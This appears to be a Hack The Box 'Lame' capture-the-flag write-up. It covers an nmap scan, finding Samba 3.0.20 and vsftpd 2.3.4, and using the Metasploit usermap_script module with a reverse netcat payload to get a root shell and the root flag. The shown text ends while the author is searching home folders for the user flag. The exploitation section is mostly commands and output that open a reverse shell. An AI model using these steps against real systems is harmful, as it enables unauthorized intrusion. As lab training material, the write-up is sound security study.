Enumeration

Enumeration

NMAP Scan Results

NOTE -These results have been edited. All of the non-essential information relating to the scan itself (not to the results) have been removed for the sake of relative brevity.

---

nmap -n -Pn -p21,22,139,445 -sV 10.10.10.3 -vv -A
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 (https://nmap.org) at 2020-12-11 18:42 EST
Scanning 10.10.10.3 [4 ports]
Discovered open port 445/tcp on 10.10.10.3
Discovered open port 22/tcp on 10.10.10.3
Discovered open port 139/tcp on 10.10.10.3
Discovered open port 21/tcp on 10.10.10.3

PORT STATE SERVICE REASON VERSION

21/tcp open ftp syn-ack vsftpd 2.3.4

|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.20
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh syn-ack OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
| ssh-dss
AAAAB3NzaC1kc3MAAACBALz4hsc8a2Srq4nlW960qV8xwBG0JC+jI7fWxm5METIJH4tKr/xUTwsTYE
YnaZLzcOiy21D3ZvOwYb6AA3765zdgCd2Tgand7F0YD5UtXG7b7fbz99chReivL0SIWEG/E96Ai+pqY
MP2WD5KaOJwSIXSUajnU5oWmY5x85sBw+XDAAAAFQDFkMpmdFQTF+oRqaoSNVU7Z+hjSwAAA
IBCQxNKzi1TyP+QJIFa3M0oLqCVWI0We/ARtXrzpBOJ/dt0hTJXCeYisKqcdwdtyIn8OUCOyrIjqNuA2Q
W217oQ6wXpbFh+5AQm8HI3b6C6o8lX3Ptw+Y4dp0lzfWHwZ/jzHwtuaDQaok7u1f971IEazeJLqfiWrAz

oklqSWyDQJAAAAIA1lAD3xWYkeIeHv/R3P9i+XaoI7imFkMuYXCDTq843YU6Td+0mWpllCqAWUV/C
QamGgQLtYy5S0ueoks01MoKdOMMhKVwqdr08nvCBdNKjlEd3gH6oBk/YRnjzxlEAYBsvCmM4a0jmhz
0oNiRWlc/F+bkUeFKrBx/D2fdfZmhrGg==
| 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
|_ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAstqnuFMBOZvO3WTEjP4TUdjgWkIVNdTq6kboEDjteOfc65TlI7
sRvQBwqAhQjeeyylk8T55gMDkOD0akSlSXvLDcmcdYfxeIF0ZSuT+nkRhij7XSSA/Oc5QSk3sJ/SInfb78
e3anbRHpmkJcVgETJ5WhKObUNf1AKZW++4Xlc63M4KI5cjvMMIPEVOyR3AKmI78Fo3HJjYucg87JjL
eC66I7+dlEYX6zT8i1XYwa/L1vZ3qSJISGVu8kRPikMv/cNSvki4j+qDYyZ2E5497W87+Ed46/8P42LNG
oOV8OcX/ro6pAcbEPUdUEfkJrqi2YXbhvwIJ0gFMb6wfe5cnQew==
139/tcp open netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn syn-ack Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|clock-skew: mean: 2h33m33s, deviation: 3h32m08s, median: 3m32s
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 59488/tcp): CLEAN (Timeout)
| Check 2 (port 43399/tcp): CLEAN (Timeout)
| Check 3 (port 52910/udp): CLEAN (Timeout)
| Check 4 (port 40169/udp): CLEAN (Timeout)
| 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2020-12-11T18:45:52-05:00
| smb-security-mode:
| account_used:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-security-mode: Couldn't establish a SMBv2 connection.
|_smb2-time: Protocol negotiation failed (SMB2)

Nmap done: 1 IP address (1 host up) scanned in 52.90 seconds

Notable Findings

1. Samba 3.0.20-Debian

- This version of Samba has a vulnerability: CVE-2007-2447

2. vsftpd 2.3.4

- This version of vsftpd potentially has a vulnerability: ExploitDB - 17491
    - It's much less likely to be this vulnerability. According to the ExploitDB information, there was a backdoor inserted in v2.3.4, but the modified version was only available to download for one day. The vulnerability was patched 2 days after it was discovered. If the Samba vulnerability doesn't work, this may be worth looking into.

Metasploit

I'll start off by searching for an exploit that matches the Samba version found with NMAP.

```
msf6 > search samba 3.0.20

Matching Modules
================

   #  Name                                Disclosure Date  Rank       Check  Description
   -  ----                                ---------------  ----       -----  -----------
   0  exploit/multi/samba/usermap_script  2007-05-14       excellent  No     Samba "username map script" Command Execution
```

There's a match! I entered "use 0" to use the only exploit listed.

Next, I need to figure out what information I need to make the exploit work.

```
msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   139              yes       The target port (TCP)


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.171.129  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(multi/samba/usermap_script) >
```

These are fairly standard options for simple exploits. I'll go ahead and set them.

```
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 10.10.10.3
RHOSTS => 10.10.10.3
msf6 exploit(multi/samba/usermap_script) > set LHOST tun0
LHOST => tun0
msf6 exploit(multi/samba/usermap_script) > set target 0
target => 0
msf6 exploit(multi/samba/usermap_script) >
```

Once these are set, the only thing left is to say the magic word and see if the exploit works.

```
msf6 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP handler on 10.10.14.20:4444
[*] Command shell session 1 opened (10.10.14.20:4444 → 10.10.10.3:59459) at 2020-12-11 19:32:58 -0500
```

YES! A shell! But...whose shell is it?

```
msf6 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP handler on 10.10.14.20:4444
[*] Command shell session 1 opened (10.10.14.20:4444 → 10.10.10.3:59459) at 2020-12-11 19:32:58 -0500

whoami
root
```

That was easy. Now to find the flag.

```
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
initrd.img.old
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
```

The "ls" command lists the contents of a directory. These results seem promising! I think the first place to check is obvious.

I changed directories (cd command) to "root", and requested a file list for this folder.

```
cd /root/
ls
Desktop
reset_logs.sh
root.txt
vnc.log
```

"root.txt" will likely be the flag. I'll open it with the 'cat' command and see!

```
cat root.txt
***root flag***
```

That's it! That's the root flag!

USER FLAG

I wasn't sure there wass a "user" flag here, since the "root" was so easy to get. The HTB menu shows fewer "user" owns than "root", so I assume there is a second flag.

The FTP information that NMAP returned showed that the server accepted anonymous login. Maybe the "user" flag is there.

```
kali@kali:~$ ftp -4nv 10.10.10.3
Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)
ftp> user anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

In this case, the "n" flag wasn't necessary, and was probably stupid. The server might have just logged me into an anonymous session if it'd not been there. Regardless, I entered the username "anonymous" and left the password field blank.

The anonymous login worked, but there doesn't appear to be anything accessible to anonymous users. I might be able to use this to upload something, should the need arise.

```
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        65534        4096 Mar 17  2010 .
drwxr-xr-x    2 0        65534        4096 Mar 17  2010 ..
226 Directory send OK.
ftp>
```

I disconnected from the FTP session and went back to my remote "root" shell.

After a little poking around in different directories (to no avail), I thought that maybe I should try the "home" folders of other users.

```
cd /home
ls
ftp
makis
service
user
```

The overt "user" folder was a bust. So were the "ftp" and "service" folders.

However, the "makis" folder had *one* file in it.

End